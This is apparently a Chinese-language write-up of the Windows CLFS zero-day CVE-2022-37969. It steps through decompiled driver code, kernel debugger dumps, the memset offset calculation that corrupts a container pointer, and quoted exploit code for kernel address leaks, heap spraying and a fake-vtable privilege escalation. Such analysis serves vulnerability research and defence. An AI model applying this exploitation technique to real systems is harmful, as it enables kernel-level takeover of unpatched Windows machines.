        __int64 a2,
        __int64 a3,
        int a4,
        ULONG DesiredShareAccess,
        __int64 a6,
        char a7,
        __int64 a8,
        PFILE_OBJECT FileObject,
        unsigned __int8 a10)
{
  .....
  CClfsBaseFile::AddRef(v25);
  EventObject = CClfsBaseFilePersisted::OpenImage(// 打开现有日志文件会调用这里、
                  *(CClfsBaseFilePersisted **)(a1 + 680),
                  &Destination,
                  (const struct _CLFS_FILTER_CONTEXT *)&v88,
                  a10,
                  (unsigned __int8 *)&v94);
.....
  }
  CClfsBaseFile::AcquireClientContext(*(PERESOURCE **)(a1 + 680), 0, &v77);// 获取客户端上下文

  if ( (v77->eState & 0x20) == 0 || (*(unsigned __int8 (__fastcall **)(ULONG_PTR))(*(_QWORD *)a1 + 312i64))(a1) )
  {
......
  }
  else
  {
    CClfsLogFcbPhysical::ResetLog((CClfsLogFcbPhysical *)a1);
    *(_DWORD *)(a1 + 348) |= 0x40u;
    v39 = -1;
  }
.....
  return (unsigned int)EventObject;
}

继续调试,调试器在ClfsEncodeBlockPrivate断下

1: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff389`53916f70 fffff806`62d6802d     CLFS!ClfsEncodeBlockPrivate+0xee
01 fffff389`53916fb0 fffff806`62d92232     CLFS!ClfsEncodeBlock+0x1d
02 fffff389`53916fe0 fffff806`62d899a0     CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x152
03 fffff389`53917070 fffff806`62d6161f     CLFS!CClfsBaseFilePersisted::FlushImage+0x40
04 fffff389`539170b0 fffff806`62d63701     CLFS!CClfsLogFcbPhysical::FlushMetadata+0xef
05 fffff389`53917100 fffff806`62d8eaeb     CLFS!CClfsLogFcbPhysical::Initialize+0xc85
06 fffff389`53917240 fffff806`62d90a2b     CLFS!CClfsRequest::Create+0x4ef
07 fffff389`53917390 fffff806`62d907f7     CLFS!CClfsRequest::Dispatch+0x97
08 fffff389`539173e0 fffff806`62d90747     CLFS!ClfsDispatchIoRequest+0x87
09 fffff389`53917430 fffff806`668abac5     CLFS!CClfsDriver::LogIoDispatch+0x27
0a fffff389`53917460 fffff806`668629a4     nt!IofCallDriver+0x55
0b fffff389`539174a0 fffff806`66bf1dfd     nt!IoCallDriverWithTracing+0x34
0c fffff389`539174f0 fffff806`66c20cbe     nt!IopParseDevice+0x117d
0d fffff389`53917660 fffff806`66c01d3a     nt!ObpLookupObjectName+0x3fe
0e fffff389`53917830 fffff806`66c88f0f     nt!ObOpenObjectByNameEx+0x1fa
0f fffff389`53917960 fffff806`66c88ae9     nt!IopCreateFile+0x40f
10 fffff389`53917a00 fffff806`66a0a2b5     nt!NtCreateFile+0x79
11 fffff389`53917a90 00007ffa`91b0d9e4     nt!KiSystemServiceCopyEnd+0x25
12 00000058`ec6fe888 00007ffa`8bc92199     ntdll!NtCreateFile+0x14
13 00000058`ec6fe890 00000000`00000000     0x00007ffa`8bc92199

ClfsEncodeBlockPrivate伪代码:

__int64 __fastcall ClfsEncodeBlockPrivate(
        struct _CLFS_LOG_BLOCK_HEADER *a1,
        unsigned int a2,
        UCHAR a3,
        unsigned __int8 a4)
{
  int ClientId_low; // eax
......

  ClientId_low = LOWORD(a1->ClientId);
  v21[0] = 0;                                   // 段签名数组
  if ( !(_WORD)ClientId_low || HIWORD(a1->ClientId) < (unsigned __int16)ClientId_low || ClientId_low << 9 > a2 )
    return 3222929418i64;
  if ( a4 > 0x10u )
    return 3221225485i64;
  v8 = 65809;
  if ( !_bittest(&v8, a4) )
    return 3221225485i64;
  if ( (a1->Checksum & 1) != 0 )
    return 3222929418i64;
  SignaturesOffset = a1->SignaturesOffset;
  v10 = a2 >> 9;                                // 3D
  a1->Usn = a3;
  HIBYTE(v22) = a3;
  if ( (int)ULongAdd(SignaturesOffset, 2 * (a2 >> 9), v21) < 0 || v21[0] < v11 || (v11 & 7) != 0 || v21[0] > a2 )
    return 3222929418i64;
  v15 = 0;
  if ( v10 )
  {
    do
    {
      v14 += 2i64;
      v16 = 32;
      v17 = 64;
      if ( *(unsigned __int16 *)(v13 + 4) - 1 != v15 )
        v16 = 0;
      if ( v15 )
        v17 = 0;
      v18 = v17 | v16;
      v19 = v15 << 9;                           // 段偏移
      LOBYTE(v22) = a4 | v18;
      ++v15;
      *(_WORD *)(v14 - 2) = *(_WORD *)(v19 + v13 + 510);// 循环相加,第14个段的签名会覆盖到SignatureOffset

      *(_WORD *)((unsigned int)v19 + v13 + 510) = v22;
    }
    while ( v15 < v10 );
    v12 = *(_DWORD *)(v13 + 16);
  }
  *(_DWORD *)(v13 + 16) = v12 & 0xFFFFFFFC | 1;
  return 0i64;
}

该代码获取LOG_BLOCK_HEADER→SignaturesOffset的值,在PoC内已被设为0x50,而后循环读取每个扇区的签名并覆盖到SignaturesOffset偏移处,此时将从0x50开始写入数据,每次写入0x2个字节。

1: kd> ?0xd * 2
Evaluate expression: 26 = 00000000`0000001a
1: kd> rr11
r11=ffffab0523ecf06a
1: kd> ?r11-0x1a
Evaluate expression: -93436410793904 = ffffab05`23ecf050

在第十三个扇区覆盖时,偏移已经到了SignatureOffset处,第十三个扇区签名为0x0050,所以SignatureOffset 低2位为0050

1: kd> ?ffffab05`23ecf050+2*0xc
Evaluate expression: -93436410793880 = ffffab05`23ecf068

00000000 CLFS_LOG_BLOCK_HEADER struc ; (sizeof=0x70, align=0x8, copyof_491)
00000000 MajorVersion db ?
00000001 MinorVersion db ?
00000002 Usn db ?
00000003 db ? ; undefined
00000004 ClientId dd ?
00000008 TotalSectorCount dw ?
0000000A ValidSectorCount dw ?
0000000C Padding dd ?
00000010 Checksum dd ?
00000014 Flags dd ?
00000018 CurrentLsn CLFS_LSN ?
00000020 NextLsn CLFS_LSN ?
00000028 RecordOffsets dd 16 dup(?)
00000068 SignaturesOffset dd ?

第十四个扇区签名已经被覆盖为0xFFFF,再将第十四个扇区覆盖在SignatureOffset高两位字节,SignatureOffset值变为0XFFFF0050

1: kd> db ffffab0523ecf000 L0x80
ffffab05`23ecf000  15 00 01 00 3d 00 3d 00-00 00 00 00 00 00 00 00  ....=.=.........
ffffab05`23ecf010  02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff  ................
ffffab05`23ecf020  00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00  ........p.......
ffffab05`23ecf030  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffab05`23ecf040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffab05`23ecf050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffab05`23ecf060  00 00 00 00 00 00 00 00-50 00 ff ff 00 00 00 00  ........P.......
ffffab05`23ecf070  02 00 00 00 00 00 00 00-27 86 fc 26 07 10 ee 11  ........'..&....

回到AllocSymbol中,由于SignatureOffset变为0XFFFF0050,导致即使cbSymbolZone 被设为000000000001114b 也可以通过if条件判断,到达memset`

__int64 __fastcall CClfsBaseFilePersisted::AllocSymbol(CClfsBaseFilePersisted *this, unsigned int a2, void **a3)
{
  __int64 v4; // rbp
  CLFS_BASE_RECORD_HEADER *BaseLogRecord; // rax
  __int64 v6; // r8 this指针
  CLFS_BASE_RECORD_HEADER *v7; // rdi
  CLFS_LOG_BLOCK_HEADER *v8; // rcx
  __int64 cbSymbolZone; // r8
  char *v10; // rbx
  __int64 result; // rax

  v4 = a2;
  BaseLogRecord = (CLFS_BASE_RECORD_HEADER *)CClfsBaseFile::GetBaseLogRecord(this);
  v7 = BaseLogRecord;
  if ( !BaseLogRecord )
    return 3222929421i64;
  v8 = *(CLFS_LOG_BLOCK_HEADER **)(*(_QWORD *)(v6 + 48) + 48i64);
  *a3 = 0i64;
  cbSymbolZone = BaseLogRecord->cbSymbolZone;
  if ( (char *)&BaseLogRecord[1] + cbSymbolZone + v4 > (char *)(&v8->MajorVersion + v8->SignaturesOffset) )
    return 3221225507i64;
  v10 = (char *)&BaseLogRecord[1] + cbSymbolZone;
  memset(v10, 0, (unsigned int)v4);
  v7->cbSymbolZone += v4;
  result = 0i64;
  *a3 = v10;
  return result;
}

0: kd> dq rax+0x1328
ffffa78f`9468c398  00000000`0001114b 00000001`03030000
ffffa78f`9468c3a8  00000030`c1fdf006 000000b8`02d20016
ffffa78f`9468c3b8  00000000`00000000 00000000`00000000
ffffa78f`9468c3c8  00001368`000013f0 00000000`00000000
ffffa78f`9468c3d8  00000088`c1fdf007 00009c40`01000000
ffffa78f`9468c3e8  00000000`00000000 00000000`00000000
ffffa78f`9468c3f8  01100000`00000000 00000000`00000000
ffffa78f`9468c408  00000000`00000000 ffffffff`00000000

那么此处为什么要设为0x1114b呢。

在多次创建日志文件后,后面创建的每个日志文件的Base log record的内存间距稳定在0x11000

0: kd> db rax - 0x70 + 0x11000
ffffa78f`9469c000  15 00 03 00 3d 00 3d 00-00 00 00 00 00 00 00 00  ....=.=.........
ffffa78f`9469c010  02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff  ................
ffffa78f`9469c020  00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00  ........p.......
ffffa78f`9469c030  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa78f`9469c040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa78f`9469c050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa78f`9469c060  00 00 00 00 00 00 00 00-80 79 00 00 00 00 00 00  .........y......
ffffa78f`9469c070  05 00 00 00 00 00 00 00-93 76 34 8f 1b 10 ee 11  .........v4.....

此处在调试器中后一个日志文件的container context偏移为0x1468

0: kd> dw ffffa78f`9469c000+0x70 + 0x328
ffffa78f`9469c398  1468 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3a8  0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3b8  0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3c8  0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3d8  0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3e8  0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3f8  0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c408  0000 0000 0000 0000 0000 0000 0000 0000

0: kd> dd ffffa78f`9469c000+0x70 + 0x1468
ffffa78f`9469d4d8  c1fdf008 00000030 00080000 00000000
ffffa78f`9469d4e8  00000000 00000000 93e0d330 ffffa78f
ffffa78f`9469d4f8  00000001 00000002 00000000 00000000
ffffa78f`9469d508  003f005c 005c003f 003a0043 0055005c
ffffa78f`9469d518  00650073 00730072 0050005c 00620075
ffffa78f`9469d528  0069006c 005c0063 0063002e 006e006f
ffffa78f`9469d538  00610074 006e0069 00720065 0031005f
ffffa78f`9469d548  00340031 00360037 00000039 00000000

根据伪代码可知memset的位置为BaseLogRecord + 0x 1338 + cbSymbolZone

如果要利用前一个日志文件在AllocSymbol时修改后一个日志文件的container context→pContainer的高四位则应满足下列条件

ffffa78f9469d4f4 = BaseLogRecord + 0x1338 + cbSymbolZone`,计算可得

0: kd> ?ffffa78f`9469d4f4 - 0x1338 - rax
Evaluate expression: 69964 = 00000000`0001114c

通过memset将指针高四位清零后,通过NtSetInformationFile函数为container文件设置属性13(关闭时删除文件)。在关闭日志文件句柄时会调用CClfsBaseFilePersisted::RemoveContainer函数移除container,在该函数中会获取container context并解引用container context→pContainer,由于指针损坏,导致蓝屏。

CLFS!CClfsBaseFilePersisted::RemoveContainer 断点

bp CLFS!CClfsBaseFilePersisted::RemoveContainer
1: kd> db r15
ffffd70e`48d9d4d8  08 f0 fd c1 30 00 00 00-00 00 08 00 00 00 00 00  ....0...........
ffffd70e`48d9d4e8  00 00 00 00 00 00 00 00-e0 37 c1 00 00 00 00 00  .........7......
ffffd70e`48d9d4f8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffd70e`48d9d508  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffd70e`48d9d518  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffd70e`48d9d528  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffd70e`48d9d538  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffd70e`48d9d548  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
1: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff88e`db5aa5e0 fffff806`0b6f120b     CLFS!CClfsBaseFilePersisted::RemoveContainer+0x10f
01 fffff88e`db5aa640 fffff806`0b6f8b0f     CLFS!CClfsLogFcbPhysical::DeleteBaseFileAndContainers+0xf3
02 fffff88e`db5aa690 fffff806`0b6f8761     CLFS!CClfsLogFcbPhysical::Finalize+0x39b
03 fffff88e`db5aa6c0 fffff806`0b71df42     CLFS!CClfsLogFcbPhysical::Release+0xb1
04 fffff88e`db5aa720 fffff806`0b720878     CLFS!CClfsRequest::Close+0xd6
05 fffff88e`db5aa770 fffff806`0b720747     CLFS!ClfsDispatchIoRequest+0x108
06 fffff88e`db5aa7c0 fffff806`0d8abac5     CLFS!CClfsDriver::LogIoDispatch+0x27
07 fffff88e`db5aa7f0 fffff806`0dbf088f     nt!IofCallDriver+0x55
08 fffff88e`db5aa830 fffff806`0dc19af0     nt!IopDeleteFile+0x14f
09 fffff88e`db5aa8b0 fffff806`0d8ae1a7     nt!ObpRemoveObjectRoutine+0x80
0a fffff88e`db5aa910 fffff806`0dc22449     nt!ObfDereferenceObjectWithTag+0xc7
0b fffff88e`db5aa950 fffff806`0dc2627c     nt!ObCloseHandleTableEntry+0x6c9
0c fffff88e`db5aaa90 fffff806`0da0a2b5     nt!NtClose+0xec
0d fffff88e`db5aab00 00007ff8`0b48d124     nt!KiSystemServiceCopyEnd+0x25
0e 0000001d`518fe678 00007ff8`08bea405     ntdll!NtClose+0x14
0f 0000001d`518fe680 00000000`00000000     0x00007ff8`08bea405
1: kd> u
CLFS!CClfsBaseFilePersisted::RemoveContainer+0x10f:
fffff806`0b716ebf 498b7f18        mov     rdi,qword ptr [r15+18h]
fffff806`0b716ec3 4885ff          test    rdi,rdi
fffff806`0b716ec6 0f84b9000000    je      CLFS!CClfsBaseFilePersisted::RemoveContainer+0x1d5 (fffff806`0b716f85)
fffff806`0b716ecc 4983671800      and     qword ptr [r15+18h],0
fffff806`0b716ed1 65488b142588010000 mov   rdx,qword ptr gs:[188h]
fffff806`0b716eda 488b4e20        mov     rcx,qword ptr [rsi+20h]
fffff806`0b716ede 4c8b15c3d1ffff  mov     r10,qword ptr [CLFS!_imp_ExReleaseResourceForThreadLite (fffff806`0b7140a8)]
fffff806`0b716ee5 e8a6552102      call    nt!ExReleaseResourceForThreadLite (fffff806`0d92c490)
__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
{
  __int64 v2; // r12
  BOOLEAN v4; // r14
  __int64 BaseLogRecord; // rax
  __int64 v6; // rdi
  int v7; // r14d
  int Symbol; // eax
  int v9; // ebx
  struct _CLFS_CONTAINER_CONTEXT *v10; // r15
  int v11; // eax
  __int64 v12; // rdi
  __int64 v13; // rax
  BOOLEAN v15; // [rsp+20h] [rbp-38h]
  unsigned int v16; // [rsp+24h] [rbp-34h]
  struct _CLFS_CONTAINER_CONTEXT *v17; // [rsp+70h] [rbp+18h] BYREF

  v2 = a2;
  v17 = 0i64;
  v4 = ExAcquireResourceExclusiveLite(*((PERESOURCE *)this + 4), 1u);
  v15 = v4;
  BaseLogRecord = CClfsBaseFile::GetBaseLogRecord(this);
  v6 = BaseLogRecord;
  if ( !BaseLogRecord )
  {
    v9 = -1072037875;
    v16 = -1072037875;
    goto LABEL_20;
  }
  v7 = *(_DWORD *)(BaseLogRecord + 4 * v2 + 808);
  if ( !v7 )
  {
    v9 = -1073741816;
LABEL_14:
    v16 = v9;
    goto LABEL_19;
  }
  Symbol = CClfsBaseFile::GetSymbol(this, v7, v2, &v17);
  v9 = Symbol;
  v16 = Symbol;
  v10 = v17;
  if ( v17 )
  {
    if ( Symbol >= 0 )
    {
      v9 = CClfsBaseFilePersisted::RemoveSymbol(this, v7);
      v16 = v9;
      if ( v9 >= 0 )
      {
        LODWORD(v17) = *(_DWORD *)(v6 + 4 * v2 + 808);
        *(_DWORD *)(v6 + 4 * v2 + 808) = 0;
        RtlClearBits((PRTL_BITMAP)((char *)this + 232), v2, 1u);
        RtlNumberOfSetBits((PRTL_BITMAP)((char *)this + 232));
        if ( *((_DWORD *)v10 + 9) != 1 )
          --*(_DWORD *)(v6 + 300);
        v11 = CClfsBaseFilePersisted::FlushImage(this);
        v9 = v11;
        v16 = v11;
        if ( v11 >= 0 )
        {
          v12 = *((_QWORD *)v10 + 3);
          if ( v12 )
          {
            *((_QWORD *)v10 + 3) = 0i64;
            ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
            v4 = 0;
            (*(void (__fastcall **)(__int64))(*(_QWORD *)v12 + 24i64))(v12);
            (*(void (__fastcall **)(__int64))(*(_QWORD *)v12 + 8i64))(v12);
            v9 = v16;
            goto LABEL_20;
          }
          goto LABEL_19;
        }
        if ( v11 != -1073741816 )
        {
          v13 = CClfsBaseFile::OffsetToAddr(this);
          if ( v13 )
          {
            *(_BYTE *)(v13 - 8) = 0;
            *(_DWORD *)(v6 + 4 * v2 + 808) = (_DWORD)v17;
            RtlSetBits((PRTL_BITMAP)((char *)this + 232), v2, 1u);
            if ( *((_DWORD *)v10 + 9) != 1 )
              ++*(_DWORD *)(v6 + 300);
            goto LABEL_19;
          }
          v9 = -1072037875;
          goto LABEL_14;
        }
      }
    }
  }
LABEL_19:
  v4 = v15;
LABEL_20:
  if ( v4 )
  {
    ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
    return v16;
  }
  return (unsigned int)v9;
}

最后附上zscaler画的流程图

https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part

EXP分析

首先通过查询SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\CurrentBuild 来确定系统版本是否在范围内,因为在_EPROCESS中_TOKEN偏移是不固定的,此次所使用的偏移为0x4B8.

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"), NULL, KEY_READ, &hKey) == ERROR_SUCCESS) {
		printf("[+] Registry key Opened successfully\n");
	}
......
	RegQueryValueEx(hKey, TEXT("CurrentBuild"), NULL, &cType, (LPBYTE)lpData, &buffersize);
	//										-1表示处理整个缓冲区
	WideCharToMultiByte(CP_UTF8, 0, lpData, -1, (LPSTR)buf, 0x80, 0, 0);
	winversion = atoi(buf);
	wprintf(L"[+] Windows Build Number: %i\n", winversion);
	if (winversion >= 17763 && winversion <= 22000) {
		token_offset = 0x4b8;  // store the token offset
	}
	else {
		printf("[!] Version %d not supported. Exiting...\n", winversion);
		exit(-1);
	}

EXP通过调用NtQuerySystemInformation 函数,并将SystemInformationClass 参数设置为SystemExtendedHandleInformation 查询系统句柄信息(进程),遍历handle 列表,通过比较UniqueProcessId来确定找到的进程PID并返回其_EPROCESS地址,EXP中分别获取到自身的_EPROCESS地址和pid为4的进程的_EPROCESS地址。

status = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++)
				{
					if ((USHORT)Object == 0x4)
					{
						if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
						{
							kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
							bFind = TRUE;
							break;
						}
					}
					else
					{
						if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
						{
							kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
							bFind = TRUE;
							break;
						}
					}
				}

EXP进行堆喷射,循环在偏移0x10000开始每隔0x10位置写入0x500000。

绕过CreatePipe创建管道并通过NtFsControlFile设置管道属性,其中FsControlCode 参数被设为0x11003c,这使得在之后可以通过调用NtFsControlFile并传递FsControlCode 参数为0x110038来读取管道属性。

EXP通过调用NtQuerySystemInformation并传递SystemInformationClass参数为SystemBigPoolInformation查询内核堆信息。通过循环遍历堆信息并比较堆tag找到了Pipe堆在内核的地址。

0: kd> db ffffa48d64eff000
ffffa48d`64eff000  50 25 a6 67 8d a4 ff ff-50 25 a6 67 8d a4 ff ff  P%.g....P%.g....
ffffa48d`64eff010  28 f0 ef 64 8d a4 ff ff-d6 0f 00 00 00 00 00 00  (..d............
ffffa48d`64eff020  2a f0 ef 64 8d a4 ff ff-5a 00 00 00 00 00 00 00  *..d....Z.......
ffffa48d`64eff030  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffa48d`64eff040  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffa48d`64eff050  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffa48d`64eff060  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffa48d`64eff070  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

将系统EPROCESS进行异或后存到栈上的地址中

将41414141写到0x100000007的内存地址上

获取到SeSetAccessStateGenericMapping函数地址

1: kd> u fffff8046b3f2da0
nt!SeSetAccessStateGenericMapping:
fffff804`6b3f2da0 488b4148        mov     rax,qword ptr [rcx+48h]
fffff804`6b3f2da4 0f1002          movups  xmm0,xmmword ptr [rdx]
fffff804`6b3f2da7 f30f7f4008      movdqu  xmmword ptr [rax+8],xmm0
fffff804`6b3f2dac c3              ret
fffff804`6b3f2dad cc              int     3
fffff804`6b3f2dae cc              int     3
fffff804`6b3f2daf cc              int     3
fffff804`6b3f2db0 cc              int     3

获取ClfsEarlierLsn的内核地址

0: kd> u FFFFF8046A9F1CB0
CLFS!ClfsEarlierLsn:
fffff804`6a9f1cb0 488b05c1240000  mov     rax,qword ptr [CLFS!CLFS_LSN_INVALID (fffff804`6a9f4178)]
fffff804`6a9f1cb7 4885c9          test    rcx,rcx
fffff804`6a9f1cba 7436            je      CLFS!ClfsEarlierLsn+0x42 (fffff804`6a9f1cf2)
fffff804`6a9f1cbc 488b09          mov     rcx,qword ptr [rcx]
fffff804`6a9f1cbf 483b0d82210000  cmp     rcx,qword ptr [CLFS!CLFS_LSN_NULL (fffff804`6a9f3e48)]
fffff804`6a9f1cc6 742a            je      CLFS!ClfsEarlierLsn+0x42 (fffff804`6a9f1cf2)
fffff804`6a9f1cc8 483bc8          cmp     rcx,rax
fffff804`6a9f1ccb 7425            je      CLFS!ClfsEarlierLsn+0x42 (fffff804`6a9f1cf2)

把两个函数布局到0x500008和0x500018上

触发漏洞pContainer指针高5位被清零,指针指向0x593a0,该地址为用户层内存地址。

1: kd> db rax
ffffbc0b`276dd070  06 00 00 00 00 00 00 00-69 be 23 a9 92 15 ee 11  ........i.#.....
ffffbc0b`276dd080  bc 80 00 0c 29 07 fc 32-00 00 00 00 00 00 00 00  ....)..2........
ffffbc0b`276dd090  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276dd0a0  00 00 00 00 00 00 00 00-38 13 00 00 00 00 00 00  ........8.......
ffffbc0b`276dd0b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276dd0c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276dd0d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276dd0e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
1: kd> db rax -0x11000
ffffbc0b`276cc070  01 00 00 00 00 00 00 00-2b 21 72 e4 7f 15 ee 11  ........+!r.....
ffffbc0b`276cc080  bc 7f 00 0c 29 07 fc 32-00 00 00 00 00 00 00 00  ....)..2........
ffffbc0b`276cc090  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276cc0a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276cc0b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276cc0c0  00 00 00 00 00 00 00 00-38 13 00 00 00 00 00 00  ........8.......
ffffbc0b`276cc0d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276cc0e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
1: kd> db rax + 0x1468
ffffbc0b`276de4d8  08 f0 fd c1 30 00 00 00-00 00 08 00 00 00 00 00  ....0...........
ffffbc0b`276de4e8  00 00 00 00 00 00 00 00-a0 93 50 00 00 00 00 00  ..........P.....
ffffbc0b`276de4f8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276de508  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276de518  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276de528  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276de538  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276de548  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

获取pContainer指针,并尝试解引用pContainer获取到CClfsContainer对象,而后调用对象的指针

fffff800`11306ebf 498b7f18           mov     rdi, qword ptr [r15+18h]
fffff800`11306ec3 4885ff             test    rdi, rdi
fffff800`11306ec6 0f84b9000000       je      CLFS!CClfsBaseFilePersisted::RemoveContainer+0x1d5 (fffff80011306f85)
fffff800`11306ecc 4983671800         and     qword ptr [r15+18h], 0
fffff800`11306ed1 65488b142588010000 mov     rdx, qword ptr gs:[188h]
fffff800`11306eda 488b4e20           mov     rcx, qword ptr [rsi+20h]
fffff800`11306ede 4c8b15c3d1ffff     mov     r10, qword ptr [CLFS!__imp_ExReleaseResourceForThreadLite (fffff800113040a8)]
fffff800`11306ee5 e8a655c203         call    ntkrnlmp!ExReleaseResourceForThreadLite (fffff80014f2c490)
fffff800`11306eea 4532f6             xor     r14b, r14b
fffff800`11306eed 4488742420         mov     byte ptr [rsp+20h], r14b
fffff800`11306ef2 488b07             mov     rax, qword ptr [rdi]
fffff800`11306ef5 488b4018           mov     rax, qword ptr [rax+18h]
fffff800`11306ef9 488bcf             mov     rcx, rdi
fffff800`11306efc ff15ced6ffff       call    qword ptr [CLFS!__guard_dispatch_icall_fptr (fffff800113045d0)]
fffff800`11306f02 488b07             mov     rax, qword ptr [rdi]
fffff800`11306f05 488b4008           mov     rax, qword ptr [rax+8]
fffff800`11306f09 488bcf             mov     rcx, rdi
fffff800`11306f0c ff15bed6ffff       call    qword ptr [CLFS!__guard_dispatch_icall_fptr (fffff800113045d0)]
1: kd> db r15
ffffbc0b`276de4d8  08 f0 fd c1 30 00 00 00-00 00 08 00 00 00 00 00  ....0...........
ffffbc0b`276de4e8  00 00 00 00 00 00 00 00-a0 93 50 00 00 00 00 00  ..........P.....
ffffbc0b`276de4f8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276de508  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276de518  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276de528  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276de538  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbc0b`276de548  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
1: kd> p
CLFS!CClfsBaseFilePersisted::RemoveContainer+0x113:
fffff800`11306ec3 4885ff          test    rdi,rdi
1: kd> rrdi
rdi=00000000005093a0

1: kd> dp rdi
00000000`005093a0  00000000`05000000 ffffbc0b`24f9c018
00000000`005093b0  00000000`05000000 ffffbc0b`24f9c018
00000000`005093c0  00000000`05000000 ffffbc0b`24f9c018
00000000`005093d0  00000000`05000000 ffffbc0b`24f9c018
00000000`005093e0  00000000`05000000 ffffbc0b`24f9c018
00000000`005093f0  00000000`05000000 ffffbc0b`24f9c018
00000000`00509400  00000000`05000000 ffffbc0b`24f9c018
00000000`00509410  00000000`05000000 ffffbc0b`24f9c018

1: kd> dq 00000000`05000000
00000000`05000000  00000001`23456789 fffff800`151f2da0
00000000`05000010  00000000`00000000 fffff800`112f1cb0
00000000`05000020  00000000`00000000 00000000`00000000
00000000`05000030  00000000`00000000 00000000`00000000
00000000`05000040  00000000`00000000 00000000`00000000
00000000`05000050  00000000`00000000 00000000`00000000
00000000`05000060  00000000`00000000 00000000`00000000
00000000`05000070  00000000`00000000 00000000`00000000

该对象已经被用户层控制,CClfsContainer的vftable被指向05000000

在05000000+0x8和05000000+0x18处的两个函数指针分别是SeSetAccessStateGenericMappingClfsEarlierLsn

1: kd> dq 00000000`05000000
00000000`05000000  00000001`23456789 fffff800`151f2da0
00000000`05000010  00000000`00000000 fffff800`112f1cb0
00000000`05000020  00000000`00000000 00000000`00000000
00000000`05000030  00000000`00000000 00000000`00000000
00000000`05000040  00000000`00000000 00000000`00000000
00000000`05000050  00000000`00000000 00000000`00000000
00000000`05000060  00000000`00000000 00000000`00000000
